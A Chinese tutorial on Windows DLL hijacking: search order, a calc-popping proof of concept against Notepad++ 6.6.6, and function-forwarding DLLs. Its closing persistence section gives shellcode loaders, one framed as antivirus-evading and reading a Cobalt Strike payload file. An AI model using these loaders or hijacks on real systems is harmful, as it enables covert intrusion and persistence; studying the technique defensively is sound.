千寻笔记:DLL劫持初探
0x001 什么是DLL
Dll(动态链接库)作为 windows 的函数库,有助于促进代码的模块化、代码重用、有效的内存使用并减少磁盘空间;一个应用程序运行时可能需要依赖于多个 dll 的函数才能完成功能,如果控制其中任一dll,那么便可以控制该应用程序的执行流程。
Linux下静态库名字一般是: libxxx.a windows则是: *.lib、*.h
Linux下动态库名字一般是: libxxx.so windows则是: .dll、.OCX(..etc)
0x02 尝试编写dll
1.VS2017,新建DLL项目
2. 初始dll文件
// dllmain.cpp : 定义 DLL 应用程序的入口点。#include "pch.h" BOOL APIENTRY DllMain( HMODULE hModule, // 模块句柄 DWORD ul_reason_for_call, // 调用原因 LPVOID lpReserved // 参数保留 ){ switch (ul_reason_for_call) // 根据调用原因选择不不同的加载方式 { case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE;}
在dllmain.cpp
文件下引入Windows.h
库, 编写一个msg
的函数。
// dllmain.cpp : 定义 DLL 应用程序的入口点。#include "pch.h"#include void msg() { MessageBox(0, L"Dll Load successful!", 0, 0);} BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ){ switch (ul_reason_for_call) case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE;}
然后需要在头文件framework.h
中导出msg
函数
#pragma once #define WIN32_LEAN_AND_MEAN // 从 Windows 头文件中排除极少使用的内容// Windows 头文件#include extern "C" __declspec(dllexport) void msg(void)
_declspec是关键字,用于表示该函数、变量时导出、导入的,括号里dllexport意为其将要导出,dllimport意为其将要导入。
extern "C"用于指定编译器编译后的函数别名,这样使用时才能正确查找到。即对于变量extern int a;这样的直接写为extern "C" int a;即可,函数同理。
然后进行编译,得到dlldemo.dll
0x03 调用dll
新建项目,编译生成test.exe
// test.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。#include #include using namespace std; int main(){ // 定义一个函数类DLLFUNC typedef void(*DLLFUNC)(void); DLLFUNC GetDllfunc = NULL; // 指定动态加载dll库 HINSTANCE hinst = LoadLibrary(L"dlldemo.dll"); if (hinst != NULL) { // 获取函数位置 GetDllfunc = (DLLFUNC)GetProcAddress(hinst, "msg"); } if (GetDllfunc != NULL) { //运行msg函数 (*GetDllfunc)(); }}
成功调用dlldemo.dll
0x04 Dll劫持漏洞
原理
如果在进程尝试加载一个DLL时没有并没有指定DLL的绝对路径,那么Windows会尝试去按照顺序搜索这些特定目录来查找这个DLL,如果攻击者能够将恶意的DLL放在优先于正常DLL所在的目录,那么就能够欺骗系统去加载恶意的DLL,形成"dll劫持"。
DLL路径搜索目录顺序
1.应用程序加载的目录
2.系统目录,使用 GetSystemDirectory 获取该路径
3.16 位系统目录
4.Windows 目录,使用 GetWindowsDirectory 获取该路径
5.当前目录
6.PATH 环境变量中列出的目录
Know DLLs注册表项
从Windows7 之后, 微软为了更进一步的防御系统的DLL被劫持,将一些容易被劫持的系统DLL写进了一个注册表项中,那么凡是此项下的DLL文件就会被禁止从EXE自身所在的目录下调用,而只能从系统目录即SYSTEM32目录下调用。
默认情况HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode
处于开启状态;如果手动设置为 0,关闭该安全选项,搜索顺序为:在以上顺序基础上,将 5.当前目录 修改至 2.系统目录 的位置,其他顺移。
注册表路径如下:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
另外当应用程序加载 dll 时如果仅指定 dll 名称时,那么将按照以上顺序搜索 dll 文件,不过在加载之前还需要满足以下两条规范:
- 当内存中已加载相同模块名称的 dll 时,系统将直接加载该 dll,不会进行搜索;除非设置了 dll 重定向选项;
- 如果要加载的 dll 模块属于 Known DLLs,系统直接加载系统目录下的该 dll,不会进行搜索。
Windows操作系统通过“DLL路径搜索目录顺序”和“Know DLLs注册表项”来确定应用程序所要调用的DLL的路径,当一个进程尝试加载一个dll的时候,会先尝试搜索程序所处的目录,如果没有找到,则搜索系统即 SYSTEM32 目录,若还没有找到,则向下搜索16位系统目录即 SYSTEM 目录,然后Windows目录,当前目录,Path环境变量的各个目录。
这样的加载顺序很容易就会导致一个系统的dll被劫持,只要攻击者将目标文件和恶意dll放在一起即可,导致恶意dll搜索顺序优先于系统dll目录加载,就能够欺骗系统去加载恶意的DLL,形成"dll劫持"。
手动劫持
NotePad++(6.6.6)
用到的工具:Process Monitor v3.60
通过 Process Monitor 监控dll调用是一种最基础的寻找dll劫持的方式
设置过滤规则: (默认的不需要改变)
Path ends with .dllResult is NAME NOT FOUNDProcess Name contains notepad++.exe
然后这里找一个需要用到loadlibrary
这个api的dll,这里找有这个api的原因是因为如果该dll的调用栈中存在有 **LoadLibrary(Ex)**
,说明这个DLL是被进程所动态加载的。在这种利用场景下,伪造的DLL文件不需要存在任何导出函数即可被成功加载,即使加载后进程内部出错,也是在DLL被成功加载之后的事情。
LoadLibrary和LoadLibraryEx一个是本地加载,一个是远程加载,如果DLL不在调用的同一目录下,就可以使用LoadLibrary(L"DLL绝对路径")加载。但是如果DLL内部又调用一个DLL,就需要使用LoadLibraryEx进行远程加载,语法如下:
LoadLibraryEx(“DLL绝对路径”, NULL, LOAD_WITH_ALTERED_SEARCH_PATH);
LoadLibraryEx
的最后一个参数设置为LOAD_WITH_ALTERED_SEARCH_PATH
即可让系统dll搜索顺序从我们设置的目录开始
找到可以被劫持的dll文件后,我们需要编写恶意dll
// dllmain.cpp : 定义 DLL 应用程序的入口点。#include "pch.h"#include BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ){ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: system("calc"); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }
然后编译生成恶意dll,并放到Notepad++的根目录下
运行Notepad++.exe便会弹出计算器
EasyConnectInstaller(7.6.1.1)
转发劫持
使用恶意 dll 替换原文件,应用程序便可以加载我们的 dll 并执行恶意代码,但是应用程序运行依赖于 dll 提供的函数,恶意 dll 必须提供相同的功能才能保证应用程序的正常运行。这里利用了aheadlib
工具,进行直接转发函数。
权限维持
1.这里利用到的测试环境是之前自己写的testDll.exe,进行直接转发函数,尝试加载shellcode(不免杀)
#include "pch.h"#include #include #include //导出函数#pragma comment(linker, "/EXPORT:msg=fkdllorg.msg") BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved){ if (dwReason == DLL_PROCESS_ATTACH) { DisableThreadLibraryCalls(hModule); unsigned char buf[] ="shellcode" size_t size = sizeof(buf); char* inject = (char *)VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(inject, buf, size); CreateThread(0, 0, (LPTHREAD_START_ROUTINE)inject, 0, 0, 0); } else if (dwReason == DLL_PROCESS_DETACH) { } return TRUE;}
2.shellcode写内存(免杀)
CS生成RAW Payload,然后读取shellcode,申请内存,写内存,执行函数
#include "pch.h"#include #include #include //导出函数#pragma comment(linker, "/EXPORT:msg=fkdllorg.msg") DWORD WINAPI DoMagic(LPVOID lpParameter){ FILE* fp; size_t size; unsigned char* buffer; fp = fopen("payload.bin", "rb"); fseek(fp, 0, SEEK_END); size = ftell(fp); fseek(fp, 0, SEEK_SET); buffer = (unsigned char*)malloc(size); fread(buffer, size, 1, fp); void* exec = VirtualAlloc(0, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, buffer, size); ((void(*) ())exec)(); return 0;} BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: HANDLE threadHandle; threadHandle = CreateThread(NULL, 0, DoMagic, NULL, 0, NULL); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE;}